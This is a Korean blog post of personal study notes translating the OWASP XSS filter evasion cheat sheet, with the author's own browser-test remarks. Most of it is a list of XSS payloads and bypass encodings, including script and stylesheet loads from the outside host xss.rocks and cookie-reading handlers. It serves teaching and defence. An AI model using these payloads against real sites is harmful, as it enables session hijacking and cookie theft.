ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • XSS
    카테고리 없음 2019. 4. 11. 21:01

    ※개인학습을 위해 OWASP Top 10 문서를 번역한 내용

    1. XSS 공격의 개요

    OWASP TOP 10에 매년 이름을 올리는 원초적이나 보안이 쉽지 않은 공격기법이다. 악의적인 사용자가 공격 대상이 되는 사이트에 스크립트를 넣는 기법으로 공격 성공 시 공격자가 의도하는 행동을 수행 하도록 변조할 수 있다.

    공격자가 입력한 구문이 TEXT가 아닌 언어와 구문으로 이해되며 발생하는 취약점이다.

    Ex) <input type="text" name="example" value="">

         value 부분에 test" id="xss 라는 문자열을 삽입한다면 아래와 같은 변조가 가능할 것이다.

         <input type="text" name="example" value="test" id="xss">

    Cookie, CSS, HTML 코드 등 여러가지 공격 벡터가 존재하며 다양한 우회방법이 존재한다.

    2. 공격기법

    ※ 필터링 없는 XSS 테스트

    XSS 공격을 위한 기본구문이다. "의 경우 최근 브라우저에서 필요하지 않으므로 생략한다.

    <script src= http://xss.rocks/xss.js></script>

     

    ※ XSS Locator(Polygot)

    다음은 "Pollygot test XSS 페이로드"이다. 이 테스트는 html, Script 문자열, JS 및 URL을 포함한 여러 컨텍스트에서 실행된다.

    javascript:/*--></title></style></textarea></script></xmp>

    <svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

     

    ※ Javascript directive를 사용한 이미지 XSS

    Javascript directive를 사용하는 이미지 XSS는 이미지의 context에서 Javascript 지시어를 지원하지 않지만, 다른 Context에서도 사용할 수 있는 가능성을 보여준다.

    <IMG SRC="javascript:alert('XSS');">

     

    ※ quote와 semicolon이 없는 XSS

    <IMG SRC=javascript:alert('XSS')>

     

    ※ 대소문자 혼합 공격

    <IMG SRC=JaVaScRiPt:alert('XSS')>

     

    ※ HTML 엔티티

    이 기능이 작동하려면 세미콜론;이 필요합니다.

    코딩해보니 javascript: 내부의 문자열은 &quott:로 입력하면 '로 해석되게 된다.

    <IMG SRC=javascript:alert(&quot;XSS&quot;);>

     

    ※ Grave accent 난독화

    두개의 인용구와 '를 모두 사용해야 하는 경우, Javascrript 문자열을 캡슐화할 수 있다. 많은 사이트의 Script 필터가 grave accents를 모르기에 유용할 수 있다.

    <IMG width='100' height='100' SRC=`javascript:alert("RSnake says, 'XSS'")`>

    그러나 브라우저가 "를 앞에 붙여주어 제대로 동작하지 않는다.

    [크롬 버전 73.0.3683.86]
    [파이어폭스 버전66.01 ]

     

    ※ 잘못된 A 태그

    <a>태그의 href 속성을 건너뛰고 onmouseover와 같은 이벤트핸들러를 사용해 XSS 공격이 가능하다. 이벤트 핸들러의 경우 문서 하단에서 살펴본다.

    <a onmouseover="alert(document.cookie)">xss link</a>

    또한 Chrome과 Firefox같은 브라우저에서 누락된 인용구를 대체해주는 기능을 통해 공격을 수행하는것 역시 가능하다.

    <a onmouseover=alert(document.cookie)>xss link</a>

     

    ※ 잘못된 형식의 IMG tags

    이 XSS 벡터는 이완된 렌더링 엔진을 사용하여 캡슐화되어야 하는 IMG 태그 내에 XSS 벡터를 만든다. 

    <IMG """>SCRIPT>alert("XSS")</SCRIPT>">

    현재 브라우저는 아래와 같은 형식으로 해석하기에 공격을 활용할 수 없다.

    [크롬 버전 73.0.3683.86]

     

    ※ CharCode를 사용한 방법

    어떤 종류의 '도 허용되지 않는 경우, Javascript의 Charcodede에서 eval()를 통해 원하는 XSS 공격 벡터를 만든느 것이 가능하다.

    <IMG SRC=javascript:alert(String.fromCharCode(88,83,88))>

    실제 사용은 아래와 같다.

    <a onmouseover=String.fromCharCode(javascript code).replace(/.+/,eval)>test</a>

     

    ※ SRC속성의 도메인을 검사하는 필터를 통과하기위한 기본 SRC 속성

    도메인 필터를 우회하기 위한 방법이다. 이벤트에 javascript를 삽입하는 것은 Form, Iframe, Input, Embed 와 같은 요소를 사용하는 모든 HTML 태그 유형에 적용이 가능하다. 또한 여기에는 noblur, onclick과 같은 다양한 이벤트핸들러를 사용하여 대체할 수 있다.

    <IMG SRC=# onmouseover="alert('xss')">

     

    ※ SRC 속성을 비워둠

    <IMG SRC= onmouseover="alert('xss')">

     

    ※ 태그의 SRC 속성을 제외

    <IMG onmouseover="alert('xss')">

     

    ※ 오류 경고 시

    img 태그의 src 속성을 망가트려 에러가 발생할 경우 'xss'라는 문자열이 출력된다.

    <IMG SRC/ onerror="alert('xss')"></img>

    javascript encode를 사용하는 것도 가능하다.

    <img src=x onerror='&#00000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#00000639&#0000041'>

     

    ※ HTML 문자 참조

    Javascript를 사용하는 모든 XSS 예제: <IMG 태그의 내부는 Firefox 또는 Gecko 렌더링 엔진 모드에서 Netscape 8.1+에서 작동하지 않는다.

    <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

    위와 같이 설명 되어있으나 아래 이미지와 같이 Firefox에서 동작되는 것을 확인할 수 있다.

    [HTML 문자 참조 테스트,]

     

    ※ 세미클론 없이 10진수 인코딩

    패딩에 대해 모르는 보안담당자를 우회하는 방법이다. "&#XX;"를 찾으려 시도하는 경우 종종 효과가 있다. -총 7글자-

    이것은 또한 html 인코딩 된 문자열을 종료하기위해 세미클론이 필요하다고 잘못된 가정을 하는 $tmp_string=~ s/.*\&#(\d+;.*/$1/;와 같은 문자열로 디코딩하는 사람들에게 유효하다.

    <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

    이러한 인코딩 방법을 통해 <script>를 삽입하려 했지만 TEXT로 인식되니 고생안하는것이 좋다.

     

     

    ※ 뒤에 세미클론 없이 16진수 HTML 문자 참조

    이것은 또한 위의 문자열 $_tmp_string=~ s/.*\&#(\d+);.*/$1/; 에 대한 실행 가능한 XSS 공격이며, 파운드 기호(#)뒤에 숫자 문자가 있다고 가정한다.

    <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

    [FireFox 브라우저 해석 값]

     

    ※ Embedded Tab(실행X)

    사이트 간 Script 공격을 차단하는데 사용

    <IMG SRC="jav[TAB]ascript:alert('XSS');">

     

    ※ Embedded Tab(실행X)

    사이트 간 Script 공격을 차단하는데 사용

    <IMG SRC="jav&#x09;ascript:alert('XSS');">

     

    ※ NULL 을 통한 공격

    NULL 문자를 사용하기 위해선 Burp Proxy와 같은 툴을 사용해 직접 주입하거나 URL 문자열에 %00을 사용해야 한다. 직접 작성하려면 vim 을 사용하거나 아래와 같이 텍스트파일로 생성하여 활용할 수가 있다.

    perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";'   >   out

     

    ※ XSS를 위해 IMG 태그 안의 javascript전에 메타문자와 Spaces

    이것은 패턴 일치가 "javascript:" 와 정확히 일치하지 않는다. 그리고 인용구와 "javascript:" 키워드 사이에 공백을 둘 수 없다는 잘못된 가정을 할 경우 유용한 공격 방법이다.

    <IMG SRC=" &#14; javascript:alert('XSS');">

     

    ※ Non-Alpha-non-digit XSS

    Firefox HTMl 구문 분석기는 HTML 키우드 이후 Non-Alpha-non-digit이 유효하지 않다고 가정하며, 따라서 HTML 태그 이후 공백 또는 유효하지 않은 토큰으로 간주한다. 문제는 일부 XSS 필터는 그들이 찾고 있는 태그가 Whitespace에 의해 분해된 것으로 가정한다는 것이다.

    예: "<SCRIPT\s" != "<SCRIPT/XSS\s":

    <SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

    위와 같은 아이디어를 기반으로 Rnake fuzzer을 사용해 그것을 확장하였다. Gecko 렌더링 엔진은 이벤트핸들러와 동등 기호 사이에 문자, 숫자 또는 캡슐화 문자(따옴표, <, (, 등)을 제외한 모든 문자를 허용하므로 XSS를 쉽게 우회할 수 있다.

    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

    IE와 Gecko 렌더링 엔진 사이에는 공백 없이 태그와 매개변수 사이에 슬래시만 허용하는 동작이 존재한다. 이것은 시스템이 space를 허용하지 않는 경우에 유용할 수 있다.

    <SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>

     

    ※ Extraneous open brackets

    --------

    <<SCRIPT>alert("XSS");//<</SCRIPT>

     

    ※ 스크립트 태그를 닫지 않는 방법

    Gecko 렌더링 엔진을 사용하는 Firefox 및 Netscape 8.1에서는 실제로 이 사이트 간 스크립팅 벡터의 "></SCRIPT"부분이 필요하지 않다. 파이어폭스는 당신을 위해 HTML 태그를 닫고 닫는 태그를 추가하는 것이 안전하다고 생각한다.

    <SCRIPT SRC=http://xss.rocks/xss.js?<B>

     

    ※ 스크립트 태그의 프로토콜 확인(잘 이해가 가지 않음)

    이 XSS의 예는 IE, IE 렌더링 모드의 Netscape 및 마지막에 </SCRIPT>태그를 추가하는 경우 오페라에서 작동한다. 그러나 이것은 특히 Space가 이슈인 경우에는 유용하며, 도메인이 짧을 수록 좋다. ". j"는 브라우저가 SCRIPT 태그의 context에서 알고 있기 때문에 인코딩 유형에 관계없이 유효하다.

    <SCRIPT SRC=//xss.rocks/.j>

     

    ※ 반만 열린 HTML/JavaScript XSS 공격

    Firefox와 달리 IE 렌더링 엔진은 페이지에 데이터를 추가하지 않지만 javascript: 지시어를 image에 허용한다. 이것은 당신이 이 XSS공격을 삽입하는 아래에 HTML 태그가 있다고 가정한다. 비록 가까온 ">"태그가 없더라도 그 아래의 태그들은 이 태그를 닫을 것이다.

    <IMG SRC="javascript:alert('XSS')"

     

    ※ Double open angle brackets

    Netscape Gecko 렌더링 엔진에서 다른 동작이 발생한다. 

    <iframe src=http://xss.rocks/scriptlet.html <

     

    ※ Escaping JavaScript escapes

    어플리케이션이 다음과 같은 Javascript 내의 일부 사용자 정보를 출력하기 위해 작성되었을 때

    <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>

    XSS 공격을 사용할 수 있다.

    XSS 공격이 성공 시 아래와 같은 XSS 공격 벡터를 찾게되는 것이다.

    <SCRIPT>vara="\\";alert('XSS');//";</SCRIPT>

    \";alert('XSS');//

    HTML 인코딩이 아닌 JSON 또는 javascript escape가 포함된 데이터에 적용하려면 Script블록을 끝내고 다시 시작하는 방법을 사용할 수 있다.

    </script><script>alert('XSS');</script>

     

    ※ TITLE 태그 종료

    악의적인 공격자가 XSS 공격을 수행할 수 있는 단순한 공격벡터이다. <title>태그를 닫고 <script> 태그를 삽입해주면 된다.

    </TITLE><SCRIPT>alert("XSS");</SCRIPT>

    HTML 인코딩이 아닌 JSON 또는 javascript escape가 포함된 데이터에 적용하려면 Script블록을 끝내고 다시 시작하는 방법을 사용할 수 있다.

     

    ※ INPUT image

    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

     

    ※ BODY image

    <BODY BACKGROUND="javascript:alert('XSS')">

     

    ※ IMG Dynsrc

    <IMG DYNSRC="javascript:alert('XSS')">

     

    ※ IMG lowsrc(신기)

    <IMG LOWSRC="javascript:alert('XSS')">

     

    ※ List-Style-Image

    부피가 큰 목록에 이미지를 삽입한느 것은 난해한 이슈이다. 이것은 Javascript 지침때문에 IE 렌더링 엔진에서만 작동될 것이다. 특별히 유용한 스크립팅 벡터가 아니다.

    ----STYLE 태그 내부에 삽입----

    <STYLE>

    li {list-style-image: url("javascript:alert('XSS')");}

    </STYLE>

    <UL>

    <LI>XSS</br>

     

    ※ VBScript in an image

    <IMG SRC='vbscript:msgbox("XSS")'>

     

    ※ Livescript (older versions of Netscape only)

    <IMG SRC="livescript:[code]">

     

    ※ SVG object tag

    <svg/onload=alert('XSS')>

     

    ※ ECMAScript 6

    Set.constructor`alert\x28document.domain\x29```

     

    ※ BODY tag

    "onload=" != "onload ="

    <BODY ONLOAD=alert('XSS')>

     

    ※ Event Handlers(이벤트 핸들러)_추가하기

    XSS 공격에 사용할 수 있다!

    FSCommand()  

     

    ※ BGSOUND

    <BGSOUND SRC="javascript:alert('XSS');">  

     

    ※ & JavaScript includes

    <BR SIZE="&{alert('XSS')}">

     

    ※ STYLE Sheet

    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">

     

    ※ 원격 STYLE Sheet Part 1

    IE 및 Netscape 8.1+에서 IE 렌더링 엔진 모드로만 작동된다. 코드에 Javascript가 포함되어 있다는 것을 보여주는 것이 없다는 것을 주목해야 한다.

    참고: 이 모든 원격 스타일 시트 예제로 BODY 태그를 사용하므로 벡터 자체 이외의 내용이 페이지에 없으면 작동하지 않으므로 다른 방법으로 빈 페이지인 경우 페이지에 한글자씩 추가하여 사용할 수 있도록 해야 한다.

    <LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

     

    ※ 원격 STYLE Sheet Part 2

    위와 같은 동작을 하지만 <LINK> 태그 대신 <STYLE>태그를 사용한다. 이 벡터의 약간의 변화는 구글 데스크톱을 해킹하는데 사용되었다. 사이트 노드로 벡터 바로 뒤에 HTML 이 있으면 </STYLE>태그를 사용하여 닫을 수 있다.

    <STYLE>@import 'http://xss.rocks/xss.css';</STYLE>

     

    ※ 원격 STYLE Sheet Part 3

    오페라 8.0(9.x에서는 더 이상 작동하지 않음)에서만 작동하지만 상당히 까다롭다.

    RFC2616 설정에 따르면 링크 헤더는 HTTP 1.1 규격에 속하지 않지만 일부 브라우저에서는 (Firefox 및 Opera와 같은)여전히 허용하고 있다. 여기서 요령은 header(기본적으로 HTTP 헤더에서 Link라고 말한느 것과 다르지 않음: <http://xss.rocks/xss.css>; REl=stylesheet )를 설정하고 있고 XXS 벡터가 있는 원격 스타일 시트가 Firefox에서 지원되지 않는 Javascript를 실행하고 있는 것이다.

    <META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

     

    ※ 원격 STYLE Sheet Part 4

    이는 Gecko 렌더링 엔진에서만 작동하며 XUL 파일을 상위 페이지에 바인딩하여 작동한다.

    <STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

     

    ※ XSS용 Javascript가 분리된 STYLE 태그

    이 XSS 공격은 때로 IE에 무한루프 alert를 보낸다.

    ::: FilreFOX에서 실행되지 않는다.

    <STYLE>@im\port '\ja\vasc\ript:alert("XSS")';</STYLE>

     

    ※ 주석을 사용하여 우회하는 STYLE 속성

    <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

     

    ※ 표현을 포함한 IMG STYLE

    위의 XSS 벡터들의 혼합물로 IE를 루프가 돌게 만들 수 있다.

    exp/*<A STYLE='no\xss:noxss("*//*");

    xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

     

    ※ Style 태그(Netscape의 이전 버전에만 해당)

    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>

     

    ※ 배경 이미지를 사용한 Style 태그

    <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS>

     

    ※ 배경을 사용한 Style 태그

    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

     

    ※ STYLE 특성이 있는 익명 HTML

    IE6.0과 IE 렌더링 엔진 모드의 Netscape 8.1+는 오픈앵글 브래킷과 문자로 시작하는 한, 공격자가 만든 HTML 태그가 존재하는지 아닌지는 상관하지 않는다.

    <XSS STYLE="xss:expression(alert('XSS'))">

     

    ※ 로컬 htc 파일

    XSS 벡터와 동일한 서버에 있어야 하는 .htc 파일을 사용하기에 위의 XSS들과는 다른 점이 존재한다. 예제 파일은 Javascript를 끌어 스타일 특성의 일부로 실행하면 작동한다.

    <XSS STYLE="behavior: url(xss.htc);">

     

    ※ US-ASCII encoding(한번 더 테스트)

    US-ASCII 인코딩은 8비트 대신 7비트로 잘못된 형식의 ASCII 인코딩을 사용한다. 이 XSS는 많은 콘텐츠 필터링을 우회할 수 있지만 호스트가 US-ASCII 인코딩으로 전송하거나 사용자가 직접 인코딩을 설정한 경우에만 작동한다. 이것은 서버측 필터 회피보다 웹 어플리케이션 방화벽 XSS 우회에 더 유용하다. Apache Tomcat은 US-ASCII 인코딩으로 전송되는 유일한 알려진 서버이다.

    ¼script¾alert(¢XSS¢)¼/script¾

     

    ※ META using data

    이것은 base64 인코딩을 사용하기 때문에 SCRIPT라는 단어나 자바스크립트 지시어가 들어있지 않기에 유용하다. 자세한 내용은 RFC 2497을 참조하시오.

    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html

    base64, PHNjcmlwdD5hdGYydCgnWFNTJyk8L3NjcmlwdD4K">

     

    ※ 추가 URL 매개 변수가 있는 META 태그

    대상 웹사이트가 청므부터 URL에 "http://"이 포함되어 있는지 확인하려고 할 경우, 다음 기법으로 회피할 수 있다.

    <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

     

    ※ IFRAME(OK)

    iframe이 허용되면 부가적인 XSS 문제가 다수 발생한다.

    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

     

    ※ IFRAME Event based(OK)

    <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

     

    ※ FRAME

    frame은 iframe과 동일한 XSS 문제를 가지고있다.

    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

     

    ※ TABLE(X)

    <TABLE BACKGROUND="javascript:alert('XSS')">

     

    ※ TD(X)

    TD는 Javascript XSS 벡터에 취약한 Background를 가지고 있다.

    <TABLE><TD BACKGROUND="javascript:alert('XSS')">

     

    ※ PHP

    PHP를 지원한다면 공격 벡터를 활용할 수 있따. 하지만 원격으로 스크립트를 실행하는 것이 가능하다면 더 심각한 문제를 야기할 것이다.

    <?php echo('<SCR)';

    echo('IPT>alert("XSS")</SCRIPT>'); ?>

     

    ※ UTF-7 Encoding

    UTF-7 인코딩으로 설정된 브라우저에서 사용가능하다.

    <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/thml; charset=UTF-7">

    </HEAD>+ADv-SCRIPT+AD4-alert('XSS');+ADv/SCRIPT+AD4-

     

    ※ HTML 쿼터 캡슐화를 사용하는 XSS

    UTF-7 인코딩으로 설정된 브라우저에서 사용가능하다.

    <HEAD><MET

     

    ※ 인코딩

    IP versus hostname

    URL encoding

    Dword encoding

    Hex encoding

    Octal encoding

    Base64 encoding

    Mixed encoding

     

    댓글

Designed by Tistory.